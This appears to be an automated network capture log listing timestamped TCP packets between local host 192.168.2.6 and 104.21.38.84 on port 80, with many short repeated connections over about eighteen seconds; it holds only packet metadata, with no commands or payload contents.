Jan 1, 2025 16:02:50.078905106 CET	62656	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:50.156419039 CET	62656	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:50.156977892 CET	62662	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:50.162208080 CET	80	62656	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:50.162940979 CET	80	62662	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:50.163005114 CET	62656	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:50.163033962 CET	62662	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:50.163727045 CET	62662	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:50.169672012 CET	80	62662	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:50.618284941 CET	80	62662	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:50.629998922 CET	62662	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:50.634800911 CET	80	62662	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:50.704732895 CET	62662	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:50.705358982 CET	62666	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:50.710171938 CET	80	62666	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:50.710261106 CET	62666	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:50.710372925 CET	62666	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:50.715101004 CET	80	62666	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:50.717447042 CET	80	62662	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:50.717498064 CET	62662	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:50.849364042 CET	62669	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:51.029849052 CET	80	62669	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:51.029933929 CET	62669	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:51.030154943 CET	62669	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:51.034903049 CET	80	62669	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:51.063600063 CET	62666	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:51.068444014 CET	80	62666	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:51.068569899 CET	80	62666	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:51.175319910 CET	80	62666	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:51.219672918 CET	62666	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:51.377640009 CET	62669	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:51.382421970 CET	80	62669	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:51.433964968 CET	80	62666	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:51.481091022 CET	80	62669	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:51.485162973 CET	62666	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:51.532066107 CET	62669	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:51.648478031 CET	80	62669	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:51.688400030 CET	62669	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:51.762810946 CET	62458	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:51.762877941 CET	62583	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:51.765559912 CET	62669	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:51.765562057 CET	62666	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:51.766383886 CET	62675	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:51.884963036 CET	80	62675	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:51.885621071 CET	80	62669	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:51.885677099 CET	80	62666	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:51.885761023 CET	62669	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:51.885808945 CET	62675	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:51.885808945 CET	62666	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:51.885951996 CET	62675	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:51.890654087 CET	80	62675	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:52.235344887 CET	62675	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:52.240159988 CET	80	62675	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:52.348953009 CET	80	62675	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:52.391421080 CET	62675	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:52.608517885 CET	80	62675	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:52.657082081 CET	62675	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:52.733973980 CET	62681	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:52.738759041 CET	80	62681	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:52.738837957 CET	62681	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:52.738939047 CET	62681	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:52.743719101 CET	80	62681	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:53.187520027 CET	80	62681	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:53.189836025 CET	62681	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:53.194614887 CET	80	62681	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:53.549643993 CET	80	62681	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:53.594561100 CET	62681	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:53.670147896 CET	62681	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:53.670783997 CET	62688	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:53.676209927 CET	80	62681	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:53.676273108 CET	62681	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:53.676573038 CET	80	62688	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:53.676750898 CET	62688	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:53.676897049 CET	62688	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:53.682687998 CET	80	62688	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:54.032226086 CET	62688	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:54.037070036 CET	80	62688	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:54.121498108 CET	80	62688	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:54.172707081 CET	62688	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:54.284826040 CET	80	62688	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:54.328948975 CET	62688	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:54.412455082 CET	62688	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:54.414669037 CET	62689	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:54.417603016 CET	80	62688	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:54.417689085 CET	62688	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:54.419497013 CET	80	62689	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:54.419745922 CET	62689	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:54.420037031 CET	62689	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:54.424911022 CET	80	62689	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:54.766705036 CET	62689	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:54.771584988 CET	80	62689	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:54.867084026 CET	80	62689	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:54.922688961 CET	62689	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:55.041129112 CET	80	62689	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:55.094561100 CET	62689	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:55.154737949 CET	62689	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:55.155414104 CET	62690	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:55.159857988 CET	80	62689	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:55.159940958 CET	62689	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:55.160187960 CET	80	62690	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:55.160257101 CET	62690	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:55.160346031 CET	62690	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:55.165116072 CET	80	62690	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:55.516705036 CET	62690	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:55.521604061 CET	80	62690	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:55.605273962 CET	80	62690	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:55.657071114 CET	62690	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:55.894943953 CET	80	62690	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:55.938344002 CET	62690	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:56.013710976 CET	62690	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:56.014492989 CET	62691	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:56.018831968 CET	80	62690	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:56.018912077 CET	62690	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:56.019295931 CET	80	62691	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:56.019357920 CET	62691	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:56.019465923 CET	62691	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:56.024188995 CET	80	62691	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:56.375916958 CET	62691	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:56.380723953 CET	80	62691	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:56.439301968 CET	62691	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:56.439694881 CET	62692	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:56.444274902 CET	80	62691	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:56.444344044 CET	62691	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:56.444519997 CET	80	62692	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:56.444581032 CET	62692	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:56.444670916 CET	62692	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:56.449486971 CET	80	62692	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:56.561836958 CET	62693	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:56.566631079 CET	80	62693	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:56.566713095 CET	62693	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:56.566843987 CET	62693	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:56.571533918 CET	80	62693	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:56.797801018 CET	62692	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:56.802649021 CET	80	62692	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:56.802769899 CET	80	62692	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:56.915550947 CET	80	62692	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:56.922776937 CET	62693	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:56.927669048 CET	80	62693	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:56.969577074 CET	62692	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:57.043538094 CET	80	62693	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:57.094641924 CET	62693	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:57.178294897 CET	80	62692	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:57.219784021 CET	62692	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:57.307996988 CET	80	62693	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:57.360203028 CET	62693	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:57.454996109 CET	62692	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:57.455104113 CET	62693	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:57.457345963 CET	62695	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:57.459954023 CET	80	62692	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:57.460000038 CET	62692	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:57.460216999 CET	80	62693	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:57.460264921 CET	62693	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:57.462152004 CET	80	62695	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:57.462214947 CET	62695	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:57.462373018 CET	62695	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:57.467101097 CET	80	62695	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:57.813605070 CET	62695	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:57.818401098 CET	80	62695	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:57.934504032 CET	80	62695	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:57.985217094 CET	62695	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:58.203170061 CET	80	62695	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:58.250828028 CET	62695	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:58.325965881 CET	62695	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:58.326776028 CET	62696	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:58.331136942 CET	80	62695	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:58.331245899 CET	62695	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:58.331608057 CET	80	62696	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:58.331676960 CET	62696	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:58.331763029 CET	62696	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:58.336538076 CET	80	62696	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:58.688498020 CET	62696	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:58.693295002 CET	80	62696	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:58.784244061 CET	80	62696	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:58.828959942 CET	62696	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:59.045042992 CET	80	62696	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:59.094590902 CET	62696	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:59.168680906 CET	62697	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:59.173516989 CET	80	62697	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:59.173609018 CET	62697	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:59.173705101 CET	62697	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:59.178447962 CET	80	62697	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:59.532166004 CET	62697	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:59.536982059 CET	80	62697	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:59.618066072 CET	80	62697	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:59.672688007 CET	62697	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:59.880044937 CET	80	62697	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:59.922784090 CET	62697	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:00.000194073 CET	62697	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:00.000942945 CET	62698	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:00.005459070 CET	80	62697	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:00.005521059 CET	62697	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:00.005755901 CET	80	62698	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:00.005817890 CET	62698	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:00.005923033 CET	62698	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:00.010633945 CET	80	62698	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:00.360438108 CET	62698	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:00.365328074 CET	80	62698	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:00.457968950 CET	80	62698	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:00.500875950 CET	62698	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:00.717327118 CET	80	62698	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:00.766467094 CET	62698	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:00.842870951 CET	62698	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:00.843864918 CET	62699	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:00.847829103 CET	80	62698	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:00.847877026 CET	62698	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:00.848668098 CET	80	62699	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:00.848750114 CET	62699	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:00.848855019 CET	62699	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:00.853602886 CET	80	62699	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:01.205779076 CET	62699	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:01.210676908 CET	80	62699	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:01.293412924 CET	80	62699	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:01.344729900 CET	62699	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:01.559045076 CET	80	62699	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:01.610482931 CET	62699	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:01.685719013 CET	62699	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:01.686055899 CET	62700	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:01.691827059 CET	80	62700	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:01.691847086 CET	80	62699	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:01.692022085 CET	62699	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:01.692039013 CET	62700	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:01.692192078 CET	62700	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:01.697838068 CET	80	62700	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:02.056293964 CET	62700	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:02.061150074 CET	80	62700	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:02.169117928 CET	80	62700	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:02.189237118 CET	62700	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:02.189663887 CET	62701	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:02.194482088 CET	80	62700	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:02.194495916 CET	80	62701	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:02.194649935 CET	62700	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:02.194700003 CET	62701	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:02.194813967 CET	62701	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:02.199604034 CET	80	62701	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:02.310734987 CET	62702	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:02.315587044 CET	80	62702	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:02.315656900 CET	62702	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:02.315737009 CET	62702	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:02.320584059 CET	80	62702	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:02.547841072 CET	62701	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:02.552762032 CET	80	62701	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:02.552946091 CET	80	62701	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:02.667963982 CET	80	62701	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:02.672863960 CET	62702	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:02.677675009 CET	80	62702	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:02.719582081 CET	62701	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:02.780877113 CET	80	62702	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:02.829159021 CET	62702	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:02.942850113 CET	80	62701	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:02.985223055 CET	62701	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:02.985894918 CET	80	62702	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:03.032123089 CET	62702	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:03.107753992 CET	62702	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:03.107754946 CET	62701	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:03.108608961 CET	62703	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:03.112850904 CET	80	62702	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:03.112922907 CET	62702	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:03.113203049 CET	80	62701	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:03.113249063 CET	62701	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:03.113379955 CET	80	62703	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:03.113435030 CET	62703	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:03.113523006 CET	62703	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:03.118263006 CET	80	62703	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:03.470048904 CET	62703	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:03.474865913 CET	80	62703	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:03.617702961 CET	80	62703	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:03.672744989 CET	62703	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:03.869923115 CET	80	62703	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:03.922732115 CET	62703	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:03.958408117 CET	80	62703	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:04.000844955 CET	62703	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:04.077027082 CET	62704	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:04.081938982 CET	80	62704	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:04.082040071 CET	62704	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:04.082139969 CET	62704	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:04.086936951 CET	80	62704	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:04.536664963 CET	80	62704	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:04.579075098 CET	62704	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:04.716706991 CET	62704	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:04.721633911 CET	80	62704	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:05.068434954 CET	80	62704	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:05.110269070 CET	62704	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:05.185484886 CET	62704	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:05.186161041 CET	62705	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:05.190582991 CET	80	62704	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:05.190690994 CET	62704	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:05.191025972 CET	80	62705	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:05.191097021 CET	62705	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:05.191215992 CET	62705	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:05.197124958 CET	80	62705	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:05.547817945 CET	62705	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:05.552624941 CET	80	62705	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:05.655436039 CET	80	62705	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:05.703985929 CET	62705	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:05.910667896 CET	80	62705	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:05.953979969 CET	62705	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:06.031114101 CET	62703	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:06.031615973 CET	62705	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:06.031933069 CET	62706	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:06.036912918 CET	80	62705	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:06.036930084 CET	80	62706	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:06.037012100 CET	62705	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:06.037050009 CET	62706	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:06.043085098 CET	62706	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:06.047977924 CET	80	62706	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:06.391849995 CET	62706	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:06.396718979 CET	80	62706	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:06.487298012 CET	80	62706	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:06.532107115 CET	62706	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:06.667912006 CET	80	62706	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:06.719638109 CET	62706	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:06.794658899 CET	62706	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:06.795308113 CET	62707	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:06.799707890 CET	80	62706	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:06.799777985 CET	62706	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:06.800111055 CET	80	62707	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:06.800189018 CET	62707	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:06.801279068 CET	62707	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:06.806060076 CET	80	62707	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:07.245246887 CET	62707	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:07.250161886 CET	80	62707	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:07.272711039 CET	80	62707	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:07.320135117 CET	62707	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:07.513871908 CET	80	62707	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:07.563366890 CET	62707	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:07.642046928 CET	62707	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:07.642894983 CET	62708	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:07.647064924 CET	80	62707	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:07.647119999 CET	62707	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:07.647648096 CET	80	62708	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:07.647711039 CET	62708	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:07.647829056 CET	62708	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:07.652607918 CET	80	62708	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:07.954673052 CET	62708	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:07.955384970 CET	62709	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:07.960211039 CET	80	62709	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:07.960287094 CET	62709	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:07.960408926 CET	62709	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:07.965183020 CET	80	62709	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:08.000617027 CET	80	62708	104.21.38.84	192.168.2.6
